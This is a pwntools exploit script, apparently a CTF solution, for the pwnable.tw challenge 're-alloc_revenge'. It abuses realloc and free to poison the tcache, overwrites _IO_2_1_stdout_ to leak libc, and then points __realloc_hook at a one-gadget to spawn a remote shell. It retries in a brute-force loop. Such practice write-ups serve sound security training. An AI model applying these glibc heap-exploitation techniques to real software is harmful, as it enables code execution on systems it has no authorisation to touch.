1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| from pwn import *
exe = ELF("./re-alloc_revenge_patched") libc = ELF("./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so") ld = ELF("./ld-2.29.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10310)
return r
def alloc (p, id, size, content): p.sendlineafter (b'Your choice: ', b'1') p.sendafter (b'Index:', id) p.sendafter (b'Size:', size) p.sendafter (b'Data:', content)
def realloc (p, id, size, content): p.sendlineafter (b'Your choice: ', b'2') p.sendafter (b'Index:', id) p.sendafter (b'Size:', size) if size != b'0': p.sendafter (b'Data:', content)
def free (p, id): p.sendlineafter (b'Your choice: ', b'3') p.sendafter (b'Index:', id)
def main(): p = conn()
alloc (p, b'0', b'50', b'ndd1') alloc (p, b'1', b'50', p64 (0) * 3 + p64 (0x461)) free (p, b'0') realloc (p, b'1', b'0', b'') realloc (p, b'1', b'50', b'\xc0')
alloc (p, b'0', b'50', b'1111') realloc (p, b'1', b'60', b'ndd123') free (p, b'1')
realloc (p, b'0', b'80', b'\x00' * 16) realloc (p, b'0', b'0', b'') realloc (p, b'0', b'80', b'\x00' * 16) free (p, b'0')
alloc (p, b'0', b'50', b'2222')
print ("Setup next chunk -----------------------------------------------------------------------") alloc (p, b'1', b'104', p64 (0) * 3 + p64 (0x21)) realloc (p, b'1', b'120', b'\x00') free (p, b'1')
for i in range (7): alloc (p, b'1', b'104', b'dd') realloc (p, b'1', b'120', b'dd') free (p, b'1')
print ("Next chunk -------------------------------------------------------------------------") alloc (p, b'1', b'104', b'dd') realloc (p, b'1', b'104', p64 (0) * 3 + p64(0x21) + p64 (0) * 3 + p64 (0x21)) free (p, b'1')
free (p, b'0')
print ("Setup tcache entry ---------------------------------------------------------------------") alloc (p, b'0', b'60', b'\xc0') realloc (p, b'0', b'0', b'') realloc (p, b'0', b'60', b'\xc0') alloc (p, b'1', b'60', p64 (0) * 3) realloc (p, b'1', b'80', p64 (0) * 3 + p64 (0x41) + b'\x60\x27') free (p, b'1') realloc (p, b'0', b'80', p64 (0) * 2) free (p, b'0')
print ("Overwrite _IO_2_1_stdout_ -----------------------------------------------------------------") alloc (p, b'0', b'60', b'dd') _IO_MAGIC = 0xfbad0000 _IO_IS_APPENDING = 0x1000 _IO_CURRENTLY_PUTTING = 0x800 p.sendlineafter (b'Your choice: ', b'1') p.sendafter (b'Index:', b'1') p.sendafter (b'Size:', b'60')
p.sendafter (b'Data:', p64 (_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING) + p64 (0) * 3) p.recv (8) libc.address = u64 (p.recv (6) + b'\x00' * 2) - libc.symbols['_IO_stdfile_2_lock'] print ("The address of libc is: ", hex (libc.address))
free (p, b'0')
print ("Get shell -----------------------------------------------------------------------------------")
alloc (p, b'0', b'104', b'dd') realloc (p, b'0', b'0', b'') realloc (p, b'0', b'50', b'dd') free (p, b'0')
alloc (p, b'0', b'104', p64 (0) * 7 + p64 (0x31) + p64 (libc.symbols['__realloc_hook'])) free (p, b'0') alloc (p, b'0', b'30', b'22') realloc (p, b'0', b'50', b'33') free (p, b'0')
alloc (p, b'0', b'30', p64 (libc.address + 0x106ef8)) realloc (p, b'0', b'0', b'')
p.interactive()
while True: try: main() except: continue
|